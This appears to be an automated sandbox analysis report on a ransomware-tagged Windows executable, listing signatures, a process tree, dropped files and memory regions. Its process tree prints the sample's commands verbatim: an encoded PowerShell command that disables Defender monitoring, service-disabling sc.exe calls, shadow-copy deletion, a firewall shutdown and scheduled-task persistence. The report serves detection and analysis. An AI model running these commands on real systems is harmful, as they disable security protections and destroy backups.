Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/11/2026, 12:34

General

  • Target
    2026-11-07_842e587bc75ce03db65de169c4254746_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 53KB
  • Sample261107-prq2pads4j
  • SHA256 dbfc9b295e0ed497cc728dfa4647fbc5f6b9a9fb0ecadc02be5f29619bf7a833
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Custom signature
    Detects command variations typically used by ransomware 1 IoCs
  • Custom signature
    Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Owner/User Discovery 1 TTPs

    Attempt to identify the primary or current user.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 12 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-07_842e587bc75ce03db65de169c4254746_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-07_842e587bc75ce03db65de169c4254746_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4824
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3192
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1156
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:476
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5220
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5812
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1668
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4812
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:980
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4136
    • C:\Windows\SysWOW64\wscript.exe
      "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • System Location Discovery: System Language Discovery
      PID:2736
    • C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-11-07_842e587bc75ce03db65de169c4254746_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:5984
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5596
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2676
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5300
      • C:\Windows\SysWOW64\systeminfo.exe
        systeminfo
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers system information
        PID:5572
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5344
      • C:\Windows\SysWOW64\tasklist.exe
        tasklist
        3⤵
        • Discovers running processes
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3008
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Windows\SysWOW64\whoami.exe
        whoami
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3848
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5620
      • C:\Windows\SysWOW64\net.exe
        net user
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4264
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5292
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1384
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /all
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:4596
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5084
      • C:\Windows\SysWOW64\NETSTAT.EXE
        netstat -an
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:5812
    • C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-11-07_842e587bc75ce03db65de169c4254746_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:5028
    • C:\Windows\SysWOW64\wscript.exe
      "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • System Location Discovery: System Language Discovery
      PID:1560
    • C:\Windows\SysWOW64\notepad.exe
      "C:\Windows\System32\notepad.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4660
    • C:\Windows\SysWOW64\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3456
    • C:\Windows\SysWOW64\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4816
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3260
    • C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:700
      • C:\Windows\System32\Conhost.exe
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        3⤵
          PID:4812
      • C:\Windows\SysWOW64\sc.exe
        "C:\Windows\System32\sc.exe" config i8042prt start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3692
      • C:\Windows\SysWOW64\sc.exe
        "C:\Windows\System32\sc.exe" stop i8042prt
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4680
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x0 /state0:0xa3a20855 /state1:0x41c64e6d
      1⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3332
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k CameraMonitor
      1⤵
        PID:2272
      • C:\Users\Admin\AppData\Local\Temp\2026-11-07_842e587bc75ce03db65de169c4254746_destroyer_elex_glassworm_ngrbot_wannacry.exe
        C:\Users\Admin\AppData\Local\Temp\2026-11-07_842e587bc75ce03db65de169c4254746_destroyer_elex_glassworm_ngrbot_wannacry.exe
        1⤵
        • System Location Discovery: System Language Discovery
        PID:4380
      • C:\Users\Admin\AppData\Local\Temp\2026-11-07_842e587bc75ce03db65de169c4254746_destroyer_elex_glassworm_ngrbot_wannacry.exe
        C:\Users\Admin\AppData\Local\Temp\2026-11-07_842e587bc75ce03db65de169c4254746_destroyer_elex_glassworm_ngrbot_wannacry.exe
        1⤵
        • System Location Discovery: System Language Discovery
        PID:3000
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:3604
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
            PID:5984

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                doc_2.pdf

                • Path C:\SystemVolumeInformation\doc_2.pdf
                • Size 71KB
                • SHA256 a462e4adb76b08eae2836a5c3fa49f295a44ef2f14f8183e71c6b6d64a91656b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                __PSScriptPolicyTest_tstlioul.kq1.psm1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tstlioul.kq1.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                createshortcut.vbs

                • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                • Size 309B
                • SHA256 720492ffaf7a8b297e5ee052d45c09a6d54ebcbc3f1bf8e7c57df5e1b1e82978
                • MD5 SHA1 SHA512 TLSH

                del.bat

                • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                • Size 59B
                • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                • MD5 SHA1 SHA512 TLSH

                makelnk.vbs

                • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                • Size 310B
                • SHA256 b051b005c96a05852d2d66e9b63e3ed3b9e9d4ebf27fefa88b5959ff2cc98e7f
                • MD5 SHA1 SHA512 TLSH

                backup_1.jpg

                • Path C:\Users\Admin\Documents\backup_1.jpg
                • Size 72KB
                • SHA256 77175c775e82e8011531d014d7876f21268892eb33ac4ed0af28264b6a59a767
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/3192-13-0x0000000004A40000-0x0000000004A76000-memory.dmp

                memory/3192-5234-0x00000000071C0000-0x00000000071CA000-memory.dmp

                memory/3192-5241-0x00000000073C0000-0x0000000007456000-memory.dmp

                memory/3192-14-0x00000000051D0000-0x000000000581A000-memory.dmp

                memory/3192-4945-0x0000000007150000-0x000000000716A000-memory.dmp

                memory/3192-98-0x0000000005910000-0x0000000005976000-memory.dmp

                memory/3192-97-0x00000000050F0000-0x0000000005156000-memory.dmp

                memory/3192-83-0x0000000005050000-0x0000000005072000-memory.dmp

                memory/3192-209-0x0000000005980000-0x0000000005CDB000-memory.dmp

                memory/3192-1654-0x00000000062F0000-0x000000000633C000-memory.dmp

                memory/3192-1616-0x0000000005E10000-0x0000000005E2E000-memory.dmp

                memory/3192-4352-0x0000000006FB0000-0x0000000006FE6000-memory.dmp

                memory/3192-4380-0x0000000006FF0000-0x0000000007010000-memory.dmp

                memory/3192-4933-0x0000000007790000-0x0000000007E0C000-memory.dmp

                memory/3192-4363-0x000000006FC20000-0x000000006FC6C000-memory.dmp

                memory/3192-4489-0x0000000007010000-0x00000000070B3000-memory.dmp

                memory/4660-5254-0x0000000005760000-0x0000000005761000-memory.dmp

                memory/4824-4-0x00000000053C0000-0x00000000053CA000-memory.dmp

                memory/4824-8-0x0000000008410000-0x00000000085D2000-memory.dmp

                memory/4824-5-0x0000000075070000-0x000000007582C000-memory.dmp

                memory/4824-9-0x0000000009000000-0x000000000952C000-memory.dmp

                memory/4824-3-0x00000000054F0000-0x0000000005582000-memory.dmp

                memory/4824-0-0x0000000075082000-0x0000000075083000-memory.dmp

                memory/4824-5242-0x0000000075082000-0x0000000075083000-memory.dmp

                memory/4824-5243-0x0000000075070000-0x000000007582C000-memory.dmp

                memory/4824-2-0x0000000005AB0000-0x000000000606A000-memory.dmp

                memory/4824-1-0x00000000008B0000-0x00000000008C4000-memory.dmp